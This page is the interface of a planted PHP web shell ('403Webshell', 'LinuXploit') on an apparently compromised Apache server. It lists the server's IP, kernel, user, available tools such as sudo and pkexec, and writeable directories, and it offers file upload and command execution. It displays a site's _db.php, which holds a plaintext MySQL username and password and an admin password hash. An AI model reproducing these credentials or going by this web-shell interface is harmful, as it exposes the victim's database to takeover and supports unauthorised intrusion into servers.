403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/_nats_validation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/_nats_validation/_db.php
<?php 



class DB_connector {
	
	private $config = array(
		"host" => 'localhost',
		"port" => '3306',
		"username" => 'db_174508',
		"password" => 'XMxVHHdD0f3o13fz',
		"database" => 'db_174508',
	
	);

	private $connection =null;
	
	
	public function __construct(){
		@$this->connection = mysql_pconnect(
			$this->config["host"], 
			$this->config["username"], 
			$this->config["password"]
		);
		
		if(!is_resource($this->connection) ){
			echo 'WARNING CONNECTION FAILED:is_resource:['.$this->config["database"].']'.mysql_errno();
		}
		if(!mysql_select_db($this->config["database"], $this->connection)){
			echo 'CRITICAL SELECT DB ['.$this->config["database"].']FAILED:: mysql_select_db'.mysql_errno();
		}
		//$this->connection = $connection;
		
		return;
	}
	public function getConnection(){
		return $this->connection;
	}
	
	
	function create(){
		while($row = mysql_fetch_assoc($result)){
			$resultArray[] = $row;
		}
		return $resultArray;
	}
	
	function raw($query){
		
		$result = @mysql_query($query, $this->connection);
		if(false === $result ){
			echo mysql_errno().'--'.mysql_error().'<pre>'.$query.'</pre>';
		}
		if(is_resource($result)){
			while($row = mysql_fetch_assoc($result)){
				$resultArray[] = $row;
			}
			return $resultArray;
		}
		return $result;
	}
	
	
}

class admin {
	
	private $config = array(
		"username" => 'db_174508',
		"password" => '$2y$10$9XR6I3Bnfve9F4NL.MM2M.a2BxRtpDhvzhO8zgIG1U83E0PJrhVZS',
	);
	/*
	* https://gist.github.com/odan/1d4ff4c4088e906a5a49
	*/
	function create_password_hash($strPassword, $numAlgo = 1, $arrOptions = array()){
		if (function_exists('password_hash')) {
			// php >= 5.5
			$hash = password_hash($strPassword, $numAlgo, $arrOptions);
		} else {
			$salt = mcrypt_create_iv(22, MCRYPT_DEV_URANDOM);
			$salt = base64_encode($salt);
			$salt = str_replace('+', '.', $salt);
			$hash = crypt($strPassword, '$2y$10$' . $salt . '$');
		}
		return $hash;
	}
	/*
	* https://gist.github.com/odan/1d4ff4c4088e906a5a49
	*/
	function verify_password_hash($strPassword, $strHash=null){
		if(null === $strHash){
			$strHash = $this->config["password"];
		}
		
		if (function_exists('password_verify')) {
			// php >= 5.5
			$boolReturn = password_verify($strPassword, $strHash);
		} else {
			$strHash2 = crypt($strPassword, $strHash);
			$boolReturn = $strHash == $strHash2;
		}
		return $boolReturn;
	}
	function verify_user($username, $password){
		if($this->config["username"] != $username){
			return false;
		}
		if(false === $this->verify_password_hash($password) ){
			return false;
		}
			
		return true;
		
	}
}




?>

Youez - 2016 - github.com/yon3zu
LinuXploit